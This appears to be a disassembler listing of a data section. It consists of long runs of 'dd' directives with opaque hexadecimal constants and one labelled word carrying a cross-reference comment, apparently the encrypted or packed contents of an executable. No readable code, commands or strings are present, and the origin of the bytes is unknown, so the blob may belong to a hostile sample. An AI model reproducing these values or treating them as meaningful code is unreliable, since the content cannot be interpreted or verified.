		dd 0EEBDC364h, 0C7560049h, 5DA9A103h, 0E90021BBh, 7B9543FFh
		dd 0B8986D3Fh, 907164h,	15394847h, 5E02E350h, 4B6F5700h
		dd 0A09524A8h, 87E26Bh,	3C93C81Fh, 0B3CE0B4Ch, 0CD113500h
		dd 0C9DA2940h, 7498AEh,	82500706h, 4759681Eh, 0B06B890h
		dd 0C136625Fh, 0F2190011h, 22373AA1h, 96018D4Ah, 0ACAFC523h
		dd 1E3D9CBh, 72063048h,	20A57BC8h, 5A70978Ch, 0BA39087Dh
		dd 3B8187BCh, 0A4392F49h, 34C2F3B8h, 1B68E0F7h,	39100044h
		dd 3BAD3570h, 13009685h, 0F948CB71h, 48E2A326h,	780018FBh
		dd 375F6BA4h, 0CF097753h, 0E0067399h, 0A168D70h, 7ED4E63Bh
		dd 0F15782B8h, 788927h,	84BAC100h, 756B8A77h, 92173CC0h
		dd 2083C480h, 25A523F4h, 18BEB5FCh, 0EB000810h,	0BC83FB28h
		dd 0E0019F76h, 0DADBDD2Fh, 2F99FEh, 8A0EFAC4h, 2900975Dh
		dd 2640F62Ah, 778D86Eh,	0C375C20Ah, 0B4B755A2h,	0E0B6C8C8h
		dd 5E444D85h, 11EEB000h, 761808B2h, 0F5F47E25h,	737828h
		dd 6B3F96E6h, 3004584Bh, 0F3557705h, 304383B6h,	94E47BF5h
		dd 630004A8h, 0A635DD0Bh, 5CEC2616h, 8EC11517h,	0A085D093h
		dd 0BA688Bh, 8FFE7B0Ah,	0F432B99Dh, 3B5F0100h, 0B8B62A0Fh
		dd 0DAC1003Fh, 8F204708h, 89003C02h, 0AFA3E8EDh, 495540Ah
		dd 4FFC66F5h, 1901BF79h, 716DFD80h, 0CFAF8670h,	57E5F810h
		dd 0D9D0049Dh, 3F088016h, 12F29663h, 0B9D40405h, 56C0F2EEh
		dd 0E4F4F6C4h, 76E20785h, 0A5CF65DBh, 5265C054h, 0AB7FFDC5h
		dd 0AD647A0Eh, 0CF724C0h, 0C7801085h, 243959BBh, 909453h
		dd 0FF31D64Eh, 0C200A084h, 0D1E4C0F7h, 3F729BD4h, 5F038CECh
		dd 0B807F598h, 32822000h, 61258A41h, 0D6DA00E7h, 2091F1C8h
		dd 892AF07h, 0E45B73ECh, 0DE0A0020h, 0A1FE002Ah, 15090364h
		dd 0CF2C0EC3h, 92004CC8h, 0AE1D04A3h, 0CABD00DFh, 3EF69713h
		dd 9F026BDDh, 0F7BF8E33h, 4D90E8B2h, 493D00A7h,	0D68DF442h
		dd 9A017ABEh, 48043145h, 0B9E45113h, 1E090078h,	8AFECDF0h
		dd 27034764h, 485B9F7Dh, 8F8290C0h, 2E63D37h, 86358000h
		dd 0DE8B3149h, 0FDA2Dh
		dd 0D83A9E94h, 0F74C00D4h, 0D993226Eh, 0F600E3CBh, 154B7B8Ch
		dd 2B19D6h, 0E26A41CAh,	0C4595B6h, 93829100h, 8AFF13BBh
		dd 9EA1826h, 3F9E281Ah,	96DCCB01h, 37D55AF6h, 0E8F7D0h
		dd 163C63A6h, 0A87E1C1h, 77E00900h, 7CC6651Fh, 0AD9F861h
		dd 974A9327h, 0E13DE028h, 0B10023CEh, 5667954Ch, 5D5B63Ah
		dd 33F60835h, 0E8DEC0DFh, 6A046325h, 89D9B124h,	76A760C7h
		dd 3D9FDE71h, 0D317DCh,	0B4121C08h, 8A1AD7AEh, 4AFF4Ch
		dd 27A976E9h, 0A0E42073h, 1C433C74h, 0AE2EABA6h, 0E902066h
		dd 9C0E312h, 160A2A20h,	0A33EF63Ah, 83663C3Bh, 0E5C9E86Fh
		dd 5D30F035h, 0A438504Ah, 61B88BDBh, 2103459Eh,	1F7D44DEh
		dd 0B646D7D9h, 79650290h, 2137C817h, 0D1EF0CB0h, 0DF0B9373h
		dd 8070FE4Ah, 1FED545Dh, 64BD0A22h, 587C89D8h, 0D207145Eh
		dd 86C6B260h, 0A282C560h, 0F5D70023h, 3770D961h, 0BC0EDCF3h
		dd 20F0FC31h, 0C0B90C6Ah, 2A850095h, 2927B5B2h,	0FA00792Dh
		dd 58822E8h, 0E666878h,	0E4BD7B0Eh, 43529400h, 48006F4Eh
		dd 0B68B0885h, 158F6CE9h, 0F0B3F178h, 8375CF00h, 0F770900Bh
		dd 3CDADD01h, 0F669626Eh, 1C8AE4ECh, 0A8FB7Ah, 16573F78h
		dd 0EB3FF922h, 0ACEF00E0h, 0BC6EF453h, 8ADF0034h, 851BC83Fh
		dd 1034D23h, 727E02Ah, 0ABE7D886h, 0FB4E0053h, 32C6C4A2h
		dd 0D730D191h, 13D5895Ch, 64C20009h, 3420A1D0h,	2C907D08h
		dd 95581000h, 0B6DF9D41h, 0B8CE75C2h, 15A00120h, 708C2CD7h
		dd 4461DCA3h, 8AB44B50h, 0CD63C600h, 0BDF12130h, 0B7334C1Ah
		dd 8CA7C200h, 0BFE206FAh, 4D373Eh, 3ADC9DEEh, 93C0E1h
		dd 0E35DBA01h, 0E67806EFh, 0FFFC651Ch, 0A7195440h, 549A5E1h
		dd 925A5CB9h, 41B867h, 0C4915DBDh, 61CC13h, 0F2933D70h
		dd 303EA6C5h, 0A8ED700h, 47AC81CEh, 9A7D00E9h, 6782331Fh
		dd 36003E20h, 96EE011Eh, 0EE4DAB0Dh, 0F3E916F8h, 0ED00EF61h
		dd 0F0037B09h, 10C339E6h, 5C3BE780h, 26CBBDAEh,	5DABEF2Ch
		dd 57A86900h, 0FA5A219h, 21742E7Ch, 0C8805D40h,	0A0009488h
		dd 53C71DFBh, 0D6481Bh,	0F5E7A2F2h, 0AA25E071h,	45509700h
		dd 0E673A5E4h, 0EC600E8h, 2F77B230h, 10001B9Bh,	1D4209CEh
		dd 999C40h, 0C321DFB7h,	6F0629B3h, 56F1AB00h, 65EE0245h
		dd 1D55706Eh, 40A76441h, 9FBACA88h, 0B2032B8Eh,	4BDAD997h
		dd 2A2D99B9h, 514E5ECh,	0C7D8FC3Dh, 0AD6980E1h,	0B002815h
		dd 8FFD3136h, 0F2FC5F0Dh, 781D0219h, 0C4019CC6h, 912F5C40h
		dd 0AC29B001h, 0BE7F9DDFh, 42C8FCh, 8077316Bh, 2F21C7B3h
		dd 0EB386E00h, 2EED3211h, 0A5540CA2h, 0AD991D35h, 0CD376700h
		dd 0E862789Ch, 58D90198h, 7F7BDF56h, 260DFCCAh,	220A6901h
		dd 0AF6D523Bh, 0FD6AF4h, 0BFEFA5D2h, 449FA7F9h,	6FFA3307h
		dd 77607C9Bh, 0CB5975h,	0E3A91340h, 0CF389118h,	0A14CBB00h
		dd 0ABCD2B70h, 5C72DFh,	0F7527D84h, 692BD17h, 31957F1Eh
		dd 0AEBF00F9h, 524F4C20h, 0DCBC0EFBh, 11A09A5Fh, 0C449F243h
		dd 0CDD44B00h, 6DF40E9Bh, 0E92B1639h, 52C501FFh, 40264C4Ah
		dd 0D9D74780h, 66625A0Eh, 960420F9h, 38259B57h,	0CC80397Eh
		dd 4CDA5F46h, 0DD011F6Bh, 233FEC59h, 0C1D832F1h, 0A0CE008Fh
		dd 77F8B10Ch, 7800487Ch, 0F7F9E6A5h, 387266CCh,	92822A96h
		dd 0E9CB40AFh, 1B3FB881h, 6590E428h, 0CD7B90Fh,	235A780h
		dd 0BA6BF9E1h, 0A2B480CAh, 9044AFh, 0DD4D6C20h,	4A580F65h
		dd 0FA5BC00Eh, 0E01C4EB3h, 0E39E9C04h, 19A50B82h, 805DCD3Fh
		dd 0D6333BA9h, 4CDF0048h, 4FF56503h, 0CF00FE74h, 0E37C906Dh
		dd 285C6CE5h, 3E280EEh,	400DB11Bh, 0DF885544h, 0EC00E05Ah
		dd 35B8BCFFh, 1E6823h, 9824956h, 0A9AA2EFAh, 0C8301100h
		dd 0BEA5D54Bh, 54700085h, 57AF05D9h, 0C9FAD1EAh, 691D261Eh
		dd 0AEFDD07h, 0A29E87A0h, 318006Ch, 0FD403C53h,	4500D0F9h
		dd 90DFE212h, 2B23F7h, 6D413370h, 8C9BF7Dh, 0E7E59400h
		dd 6F594DF2h, 0F8150771h, 504937E0h, 0A5D8C9C1h, 3803AD00h
		dd 0ED711139h, 4BA60084h, 0A975FAEAh, 9103DB2Ah, 553F549Ah
		dd 5EB5D048h, 358707FDh, 505227ACh, 58468EE6h, 940C3C1Fh
		dd 3E22B0C2h, 48EE40A7h, 521E0493h, 0C1E54785h,	0D4906E28h
		dd 72737F6Ah, 0B2074500h, 5C97D59Eh, 0E42B3E6Fh, 60478780h
		dd 6BDAC043h, 0BB12DE03h, 0D87C13FAh, 0F46C14h,	0A1763AAh
		dd 0EC09F29Eh, 0ACCDCB06h, 602F28h, 2378B0FBh, 17B15B1Dh
		dd 0EC654D00h, 3CC25C12h, 2789C0A6h, 9E854584h,	8373481Fh
		dd 6100763Ah, 191CEDACh, 1FAF79h, 44A3A276h, 465D0E1Ah
		dd 6A7C60C3h, 0C4381481h, 760C2839h, 432150F7h,	0EE71347Bh
		dd 13D8F60Ch, 765A3181h, 0EFA61883h, 3C802879h,	7B84A00h
		dd 0CF18E554h, 6CE31F8Ch, 0B2FE80EDh, 3650A980h, 0B30F4407h
		dd 0C0F95FE4h, 0EF5BEFh, 1CC8A3AFh, 443A583h, 394FC00h
		dd 0B76AFD7Fh, 79220409h, 0C0CB1AE2h, 6DBDF540h, 0E400BC7Ch
		dd 0B4E010EBh, 348806Ah, 843DAF3Bh, 20038749h, 38B57923h
		dd 4F10FFB3h, 0C90206h,	2C6AC605h, 43CFF7DAh, 0F1B78403h
		dd 0E3C5FE09h, 8F9CC12Ah, 10BA7889h, 0A2A33A81h, 0F446E0B1h
		dd 0B3E4CD00h, 0DF02A96Ah, 0F037E8A5h, 882D01EBh, 4E42D3CCh
		dd 19F0BEB9h, 7821873Eh, 2A8906E3h, 50A3CFF4h, 8C63653Ch
		dd 0D1A03D95h, 11730F1Bh, 0A7036AC8h, 41006CA5h, 50752942h
		dd 0DF30359Fh, 0BEB70048h, 0C184ABBFh, 0B07BCE3Dh, 399C7006h
		dd 30E70D12h, 6090B5h, 10CF6B60h, 1401AF71h, 4FD122E7h
		dd 3C202EB4h, 0FC3A39BEh, 80A7DA9Fh, 0BBA39A5Ah, 4005CF0h
		dd 0A287D495h, 286B64h,	0FE88AF08h, 0DF01E722h,	91F6351Ch
		dd 95F55C80h, 44E5A4Ah,	0F771FCD0h, 4F61807Dh, 6800E38Fh
		dd 0AEEEECC1h, 9485D4h,	4EAD0EA5h, 41C72948h, 0E992D600h
		dd 5CFB3544h, 640A00F7h, 0E30784DDh, 4A031FABh,	419B5DA8h
		dd 0EABEA7h, 0A48F3864h, 0AA4070BCh, 0C68C6005h, 218027CFh
		dd 798757F2h, 91BA0037h, 0C3C80D8Dh, 654C4690h,	532E0310h
		dd 0A06F58B2h, 1E98FD20h, 0C083A1ECh, 0C9B3E795h, 2EF882ACh
		dd 4BEE8B00h, 0F1D53744h, 23C41E1Ch, 0E53F4449h, 91C0AB8Dh
		dd 6BDE476h, 0C780AD4h,	0F90F6008h, 619E325Dh, 0D5573C70h
		dd 0A0608FD0h, 0FC4709BDh, 0AEC2004Ch, 0CCE2565Ch, 1700D079h
		dd 0AC2CF548h, 4815D61Bh, 0EE30CCFEh, 896F6250h, 385F91C0h
		dd 485CF8h, 68050466h, 0F56AD4BFh, 4C997700h, 67B22D8Ch
		dd 70B026E4h, 0BB8339B8h, 0E958FA6Ah, 0BFAEDB90h, 76F6327Ah
		dd 3D162519h, 0A5F08458h, 790400C4h, 0C00FB5A1h, 8360FB5Ch
		dd 493C3E78h, 1CB0007h,	0A01333E1h, 0C017AC2h, 0FA5F84D6h
		dd 0E34710h, 0DF8A57B1h, 0BAE29093h, 36716118h,	3A226FF0h
		dd 250CA174h, 0B1790D15h, 0B082BB18h, 15C80E1h,	6408714Eh
		dd 70787F07h, 650FD40Ch, 0C0562D4Ch, 0EBF0319Eh, 2AC400DCh
		dd 8728A7Eh, 0BA048881h, 10969703h, 93308FC7h, 7361D3FAh
		dd 0CC7428h, 2C36E905h,	47BD3FC1h, 56FDB90Ch, 608E08A0h
		dd 0FF172062h, 4100EEC0h, 970BEC1Eh, 0E8A6BFh, 3A6761D6h
		dd 7C6DA2D7h, 7F0A7217h, 0FF5DDE00h, 8EF96Bh, 3FD826A5h
		dd 60F83705h, 1D650C0h,	1D3E776h, 0D11F29EAh, 0D11DD9E2h
		dd 0B72180C3h, 5B2EE6EBh, 21703B15h, 80EA4960h,	60C0D9F9h
		dd 0E35152BDh, 520F9E9h
		dd 6AD600EBh, 61337460h, 2F185AFFh, 5528FD4Bh, 0D8EA3005h
		dd 1C41D6F1h, 265F5A0h,	0E277FB02h, 60D1CB73h, 68F59759h
		dd 74941868h, 0E100A746h, 774EAF13h, 48C6CCC9h,	79655Eh
		dd 44A09FECh, 2EF4DC6Dh, 0B331EE07h, 4C81E7AAh,	388E61DEh
		dd 0FB04FFB1h, 6EDBC0B4h, 9078F9Dh, 0B69E50DDh,	604B8C20h
		dd 1AFA0003h, 0A656E0C2h, 0E500365Ch, 5DC0CB8Ah, 0EE7A547Bh
		dd 88E307DAh, 0D0980246h, 36CC0E23h, 8582A607h,	73938422h
		dd 0F19DF0D6h, 174B00B7h, 0FC86E0CDh, 0A300BD3Bh, 0EE7D235Ah
		dd 0DF7F88h, 7ACBB94Ah,	0ED96038h, 0C790CD07h, 4FAE7BEh
		dd 4718603h, 0B296E088h, 0B4A60073h, 9DDE3B0h, 0C0737E2h
		dd 86B61005h, 1134B5A3h, 21697C28h, 0CC6C0897h,	1E8ABF90h
		dd 0D52B0828h, 88C9DD88h, 391F55ABh, 0ED5C6600h, 37DC5EFh
		dd 98BD430Ch, 50970219h, 0DDE68FCBh, 0B2214007h, 1260D5C9h
		dd 0EE857F9Ah, 977FBEh,	8037289Dh, 0B23D0694h, 0EE8FB700h
		dd 7FC099C8h, 0F08960BDh, 66BB7CB5h, 0A1563200h, 6029435h
		dd 502E00C2h, 0B4B6F84Fh, 0B707A54Ch, 0DCBBCC4Eh, 1082260h
		dd 0B0130087h, 0BDC61ED9h, 5603459Ah, 0A998F651h, 0B778A803h
		dd 0B3850053h, 96ECD813h, 375CF467h, 0ECE00BBh,	8BE2F39Bh
		dd 0B7490902h, 3900AAE7h, 26575635h, 9BAE3303h,	0C84FDE27h
		dd 1F40D80h, 0D5608A01h, 40E89671h, 0ADD72D8h, 0C9046679h
		dd 0B5E41DAh, 381138C0h, 9E9A0EB7h, 0C4C0A3DEh,	0B276FBD0h
		dd 0E07D3700h, 501E6BDFh, 106E1DAAh, 0DE2A445Dh, 0DA61807Eh
		dd 0D9007351h, 0E356AC9Ch, 0A5285h, 9BDE5F8Dh, 0C1BD4B3Dh
		dd 476A0C00h, 7B138FEFh, 0C76E0026h, 173A4453h,	2500ED38h
		dd 0BC3E4628h, 7B940Ch,	0CBA4F367h, 59C0F4Bh, 170128ECh
		dd 0FD9E152Eh, 63D15206h, 7F81ED5h, 79640025h, 9DDCCBD6h
		dd 4004AD4h, 2D346575h,	77EB4185h, 146C3B5Ah, 44058D02h
		dd 0E883B701h, 17F8ED69h, 0F400C535h, 1A25B0BFh, 8C0AD5h
		dd 1BEF7E34h, 246A9F54h, 0DBA1200h, 6E6C2F59h, 74B00033h
		dd 0C2CC8D83h, 0B50068ADh, 0F7F1A535h, 4A37E6h,	4E59BBB0h
		dd 0C6766B99h, 0CDC15500h, 91F783B6h, 0AC7C003Eh, 0AD601DCFh
		dd 0AF04E456h, 0B52AFFF0h, 992F5EC0h, 5F72019Bh, 0B6D97AFDh
		dd 0FADD2091h, 4976AB72h, 502A5A00h, 625EBE74h,	0A04000F0h
		dd 5911E4Eh, 543ABD15h,	0D1E70028h, 2D741C51h, 2B2F1C7Eh
		dd 4512401Eh, 8601B14Dh, 7BA9AD00h, 0AE35269Fh,	0E3E51F61h
		dd 912500EDh, 842CCF63h, 0A59B9700h, 590C1FB1h,	0B58E0077h
		dd 0DB4E7516h, 3A00512Bh, 267A8158h, 1578FBh, 145F9425h
		dd 49E44DE3h, 2AF86601h, 43F06EAEh, 0AC9EFCh, 4D0A9A50h
		dd 0A6A21C6Ch, 68B99400h, 0F4F9E2F0h, 80EC00D0h, 0DFB16A73h
		dd 237457FDh, 10597F00h, 452ADC28h, 70430976h, 4480C8EFh
		dd 4125CA13h, 0BDDB3707h, 0F4A0573Bh, 0FA27382h, 38907C9Fh
		dd 8314DC20h, 5BF6335Ch, 0DD9B3C13h, 0FC74E800h, 3D28847h
		dd 0AF1FBC15h, 90E8796Eh, 0E103DB57h, 9F62989h,	0D83AF81Ah
		dd 75B6006Fh, 0BDCCEC49h, 2A244E70h, 921FA043h,	5EDB4B40h
		dd 9D08D3h, 0AB37B332h,	0CAEC4852h, 1F39EA02h, 60421255h
		dd 0FDDAF5Ch, 21DFA616h, 384809Ch, 6478F387h, 0FBBC4600h
		dd 55E816FDh, 51C600A4h, 0C36FC525h, 8501BD21h,	3FF3E1F7h
		dd 54C8719Dh, 4DAB00EAh, 8D4AC0A6h, 0AD00E3FCh,	41327D47h
		dd 1E831E0h, 0B2BAFD38h, 0D467EF36h, 0D001A3ECh, 86FAAD44h
		dd 0A8505754h, 38860CBh, 0CDF1CFA6h, 0C190EF14h, 0BB142BF9h
		dd 965428h, 190C3408h, 15768E9h, 75F54492h, 209F2A36h
		dd 8A0E8F01h, 0E2A7F2BEh, 8183E0E6h, 629CF3A8h,	0AFFEE100h
		dd 25935B0Fh, 9400136Ch, 906639A3h, 34915964h, 935C3F00h
		dd 9619B567h, 0B1A99E0Fh, 0A11DA099h, 0DAF1AAh,	72BE3E76h
		dd 5D0E4977h, 2065D207h, 0F9F0697Fh, 0C5A7E3h, 10586350h
		dd 0FF2F2A3Ch, 0CDFA9D03h, 0A898C134h, 3A0AD93Bh, 0D18E8470h
		dd 67402FE1h, 4474F919h, 188C000h, 0B8CBC456h, 0E8C2006Ah
		dd 0AB941C3h, 0DD7CE732h, 6734AA00h, 69C6C09Dh,	0E960073h
		dd 1AFC24E0h, 0B69822D0h, 8191A40Bh, 57980044h,	31058A39h
		dd 73E8C092h, 97DEC0A9h, 0B7005492h, 0E622945Ch, 1CC001h
		dd 0FC2018F7h, 0D07C6271h, 0E1BC8200h, 0C8DE3DBAh, 0A753000Bh
		dd 9B86F527h, 4E7A5D3Ah, 3B0A6092h, 0B82C2AF3h,	0BF3D0100h
		dd 1C79B1Dh, 2D8F0AB5h,	0FC6458DFh, 0A600D121h,	19950446h
		dd 0F48BE48Ch, 0FBAB00D2h, 9BD0068Eh, 0CB089B6h, 199D2F00h
		dd 0DC2DCE79h, 2B0D00FEh, 1B1585AEh, 4F72E7A5h,	0A32F4200h
		dd 40297CA0h, 0C5040094h, 0F8670E9h, 500DBA6h, 4F205BD5h
		dd 8E3F25h, 69098479h, 0DFA7491Bh, 500E991Ch, 1DE7F400h
		dd 125B43A5h, 8E0D2h, 0AB7ED468h, 9F00AFC3h, 6537F0E5h
		dd 26130Ch, 6A2EF569h, 827B6859h, 6725D203h, 0E884FD3Ah
		dd 0C29157D5h, 87C07314h, 0E8D004C3h, 3216ABCFh, 581F48C1h
		dd 76D91EC0h, 822F0Bh, 93A8624Bh, 0ACB61FD6h, 83544909h
		dd 0A32400CFh, 0A4E98F78h, 390901FCh, 0E84AF5A1h, 0DFB4E837h
		dd 0C14E5A01h, 525F8547h, 923054FDh, 598B00E5h,	7A97A487h
		dd 3000D0C6h, 4D781075h, 0FBFABA31h, 0EADCC8h, 9796B945h
		dd 0BB66D664h, 9E80D307h, 0ED20F08Ch, 6CD5FAh, 4B63B0C6h
		dd 0A93D0828h, 225A6507h, 0DD0DBF3h, 0E894C1h, 233C6949h
		dd 7477A0EEh, 1E4AF900h, 0B4CE5EA6h, 86853BC8h,	3776B185h
		dd 6980834Bh, 0AFCCF8F0h, 345D1800h, 22E9046Eh,	0A0A10F78h
		dd 0B30F4706h, 0D4A880FEh, 316051D3h, 0EAF62100h, 99E18F70h
		dd 0F19300EEh, 8CFEDAB0h, 34F0B3BEh, 53635F03h,	0F0472812h
		dd 79193E1Ah, 8EFE0035h, 0BECA1C2Fh, 712EA6E7h,	9100D8D3h
		dd 0B5F2DA72h, 47733B9Eh, 351A3300h, 0B0FA52F1h, 0EE96BA07h
		dd 0DC10388Fh, 4A536674h, 440800C1h, 5ABBFFA6h,	9AFC0F01h
		dd 0BE915B1Ah, 0C3E1F4h, 3AA4D8D2h, 0E69F80C8h,	0C409DB09h
		dd 2BA58081h, 7BB3F6h, 0E4D3D7C6h, 6EDA323Ah, 1BF32A01h
		dd 0BE9D9ADDh, 0EAC23F4h, 0E0B23DB5h, 0A83B6620h, 98009985h
		dd 6DA10B07h, 0EF8AF7h,	0E812015Ah, 0A58530EDh,	3590BB00h
		dd 0FF60C9A6h, 2BE7008Eh, 32C7B20Ah, 5A0774ADh,	2C066C4Bh
		dd 88D0CA14h, 4C1E69h, 85030C29h, 0E633349Ah, 30D28100h
		dd 0C11FF825h, 61B800DEh, 0A5AD5B37h, 1958054Eh, 44720090h
		dd 74A31051h, 5F46002Bh, 9F8F6BF0h, 32408CEh, 4E018888h
		dd 0C63F9BA3h, 3D51CCCh, 2315DA34h, 0A0E44A68h,	1A0384FCh
		dd 0D29E3703h, 0D3C6800Ch, 0B1D90E30h, 360FE7BFh, 8E345300h
		dd 9500BE39h, 0D45C7EDFh, 2C7C91h, 0C441A426h, 0C5AA35B9h
		dd 7E3671E0h, 67613067h, 83097826h, 0F87CD4D2h,	0C6063Eh
		dd 0DB0E5A16h, 0FE02B7h, 0A0BD3BDh, 73F6B24Eh, 6878BB2Bh
		dd 23804B90h, 4DC03718h, 0BF6E4707h, 8100FA2Fh,	0C4BB99h
		dd 0D367A9FEh, 0DC77E64Ch, 9F986E00h, 732DEDF4h, 0D5B90706h
		dd 50DA82CFh, 0E97CC725h, 623D7603h, 0F7F3943Fh, 91633h
		dd 72DF3479h, 867F4693h, 32E0AF54h, 3A970D00h, 40368320h
		dd 0AEBC1D8Dh, 0E7D30064h, 2905C9BFh, 0B91B8400h, 0BCDC808h
		dd 33C7098Bh, 8C20208Dh, 2641767Fh, 4A90850Ch, 687104h
		dd 0DE520950h, 7FFCCEE4h
		dd 0C6A1D613h, 606F4B0Fh, 87B7280Ch, 3F5C0066h,	5D27679Bh
		dd 0D80A118Eh, 0B4CE3697h, 0B001B880h, 0C4C8FA3h, 91FBB49Dh
		dd 0B730E718h, 183E8195h, 35F6276Eh, 4800C378h,	79B0C932h
		dd 19CDD8h, 0B933FDE5h,	4AA2B621h, 0E8178400h, 500F808Eh
		dd 3EE60EC3h, 968762AAh, 0F2C51008h, 0C60AFF63h, 38E184B7h
		dd 0F4079911h, 1FD9DD21h, 0A4A05A21h, 81883BFh,	3B951613h
		dd 5800C5A6h, 0BD448655h, 82035C8Dh, 7A50E162h,	16EBD9F9h
		dd 3C71A0F9h, 0DAE02547h, 0E6901Dh, 4988ABEh, 1CC1C2A4h
		dd 809C5107h, 9685AB08h, 0A0351AC0h, 1CC7AE2h, 0AA627660h
		dd 30A9B071h, 0E548FC15h, 3B3C0CF0h, 40DC2933h,	0F901A5Ch
		dd 0EC063E00h, 0F543C6Dh, 319D120Eh, 9020000Bh,	17DCE5CBh
		dd 0E82BF200h, 82C6A075h, 20C401EBh, 0DF5FB8D7h, 0ADB7200Ah
		dd 1300CFE2h
		db 8Ah,	5Ch
word_4D4152	dw 5D12h		; DATA XREF: ___:off_42E644o
		dd 7AB9263h, 83A509C8h,	0F7E8D316h, 0EE71ECA0h,	8F06BB00h
		dd 0B589AFE5h, 735500BDh, 6E9C381Ah, 0F000DB1Ch, 0C2AA3326h
		dd 0B36C50h, 0ADD82FB4h, 0A11853E9h, 9F2BD700h,	147E522Ch
		dd 0CDF0ECh, 3CDF4592h,	0D3070C8Fh, 0E0C25B0Eh,	423720A4h
		dd 1451A7h, 0E2AAF2FEh,	0B10D73B8h, 0C906B700h,	0CF41196Ch
		dd 356B06Ah, 0D2AEA922h, 6991B466h, 168CDCFCh, 0CEFD9B0Eh
		dd 0FF8B007Dh, 874AACh,	9D18F80Bh, 611C1958h, 81C06F00h
		dd 3A1B6364h, 8AA0002Ch, 7D655F6Dh, 0CE0F666Ch,	80A6B2C0h
		dd 0DE9EFB97h, 59D05D4h, 80E0777Eh, 73CE8C2Dh, 5BBCE800h
		dd 0F8819350h, 0FBDB0003h, 823A54ECh, 0E0705FEEh, 0AC8B653Bh
		dd 3F00DDAFh, 0D81E6E43h, 0CA25C23h, 0BE87F700h, 279A8110h
		dd 78A8BC00h, 889F9266h, 32650E11h, 7F2FC08h, 0E149262Ch
		dd 0E8F4C242h, 0B005DA0h, 0E63D8122h, 2E9CDFBCh, 0AF5C9D7h
		dd 7E1FA0Eh, 0B0F61A7Ch, 0B4287490h, 7E933B00h,	383C5F13h
		dd 6B1600FEh, 0ADE91254h, 8B006A97h, 4C27B488h,	264E84h
		dd 643C60B6h, 0D89251C1h, 15B123Ch, 1ED21F47h, 14E4F1AAh
		dd 0DC990032h, 0AC1B5F55h, 0D0007307h, 8C7D3D84h, 9A88C0h
		dd 48FA05F8h, 57141103h, 3E0F6090h, 49A8C1h, 6C622390h
		dd 49600BFh, 0F38F1B93h, 2B7F766Bh, 9387D92Eh, 0D467B20Bh
		dd 0B720049h, 580E94B9h, 7DBE3000h, 0BB5357F7h,	35710017h
		dd 90B0B37Fh, 0DA0CCEF9h, 0A8EF83C8h, 28D100FBh, 0FF195D39h
		dd 0B5F8B818h, 80000E90h, 14DAD06Fh, 0F564A6h, 4125B08Ah
		dd 0E475095h, 34943Dh, 79B49073h, 0A3382Ah, 0CF6B4209h
		dd 7BF857CAh, 9B5B9C00h, 3CFAF90Ah, 0EC830188h,	325D0539h
		dd 54862EEFh, 94B503E0h, 0F9630FBAh, 73E07FB8h,	29651D00h
		dd 7C439CF3h, 1527038Ch, 1864C226h, 401FDA80h, 490E45F4h
		dd 234EDB86h, 0F86C5281h, 77C9A69h, 0C899885Bh,	0B0606716h
		dd 468B76A4h, 0BC407B00h, 7F3822DCh, 84EA0088h,	0CF0F402h
		dd 0B03E9DEh, 0E2FD5BB4h, 0C7548882h, 0B0F6B7h,	0B21BAE6Fh
		dd 6C53E4B8h, 0B9E8EF05h, 5CC06636h, 60ABE3h, 0A084DC43h
		dd 34FFA307h, 55A17700h, 0F8F73C7Fh, 3DD1EA4Dh,	2E80511Eh
		dd 3E32401Ch, 3C0025C5h, 0B57B76CCh, 806241h, 600974A5h
		dd 1282D364h, 13482160h, 0F22467Bh, 0CA6B905Ch,	15C66200h
		dd 3736E98h, 0AE7AC900h, 0D50D09A8h, 0F9B20029h, 0A243E3B3h
		dd 441CB9EBh, 33C09EC5h, 5D8D6865h, 0A170007Fh,	6A1D85AAh
		dd 0CA017BA4h, 0EE9E2AE2h, 9443416Dh, 0D02BE33Fh, 8BC6EBh
		dd 68E3357Fh, 0D8F1D99Ah, 27F5B600h, 0CE11DF3Ah, 720300E0h
		dd 55B8DD0Dh, 43037DABh, 0ED62405Eh, 0D0469315h, 6CE7FEh
		dd 47AF34ADh, 42F15AA5h, 833A383Ah, 95F8125Dh, 0A388880Fh
		dd 440A00C4h, 956C9A8h,	2B51A25Fh, 657DD4D4h, 0F2BAFE00h
		dd 5CC03134h, 74840EABh, 23C1A8BBh, 20A3FD54h, 0EE06B008h
		dd 98780872h, 0A9660E10h, 3E209D2Eh, 3BE5CD0Ch,	0B0091FFCh
		dd 9AD6DDh, 93A74C05h, 0A8750083h, 0FFED4D14h, 0DF00C90Ch
		dd 1886ABFEh, 4084DDh, 0C489BFE9h, 0C06573ADh, 45704B00h
		dd 0D39C17DEh, 59DB0371h, 1C365E4Fh, 150A35D0h,	8FA7F71Dh
		dd 37BE5500h, 183EF24h,	60F92370h, 0DC34A44Fh, 0AA00A9F8h
		dd 528AEC0Bh, 1D6968CDh, 0C37DF082h, 0CCC408A6h, 0D718EF88h
		dd 1EC9870Fh, 0F1CFE02Eh, 419A16h, 0BFC2B459h, 0D23D4AC8h
		dd 104C1C00h, 50C6A5F5h, 816E3F07h, 7E5FEC00h, 7B14BAFAh
		dd 0A9053F07h, 0F290F0D3h, 7159771Dh, 186E009Ah, 35AF4FF9h
		dd 0D7B88138h, 303C9000h, 0C24AAB12h, 792F0F10h, 3409A05h
		dd 0D9770CCCh, 0E9006C76h, 36255B9Bh, 2CFE28F3h, 0AD26841h
		dd 3A0A578h, 86B719BCh,	7B40608Ah, 0D70E5E49h, 4B4B3DF5h
		dd 81F10079h, 0FB98EBh,	0E41801CBh, 0A6C92507h,	84776600h
		dd 0F38636CAh, 6CE800ABh, 0DDDEFD6Eh, 131EDC44h, 620691ECh
		dd 3C10BDD9h, 6608988Ch, 0FC0FBC30h, 78520690h,	7547831h
		dd 0B6771EC3h, 98208FDEh, 358ED822h, 0C161B902h, 688688B1h
		dd 3934320h, 0C4A2C392h, 948885B7h, 3198D198h, 8DFE58h
		dd 6696BC79h, 11AE3A2h,	148EC4BFh, 217EC1BAh, 25488FA1h
		dd 913760DBh, 743B8C66h, 9B29041h, 0B74F1A06h, 0C3402883h
		dd 0D42381F9h, 830E2E88h, 608C464Bh, 6859728Bh,	9C5A00CDh
		dd 895343A2h, 0F100BEA0h, 67F28E66h, 0A37F76h, 0D58FAA49h
		dd 0F92B4CBDh, 0C607B47Fh, 0DAECF77Eh, 8FE92A30h, 0AF6F1C74h
		dd 4DE401A6h, 30C99E72h, 965CF2BEh, 12E00066h, 0BC884BFEh
		dd 0D2E60761h, 833D210Dh, 0B2A08B68h, 0C6071D15h, 0E1F84DFBh
		dd 3AE25C0h, 9F3602CFh,	0CB83A110h, 806DDDE1h, 0E982DD78h
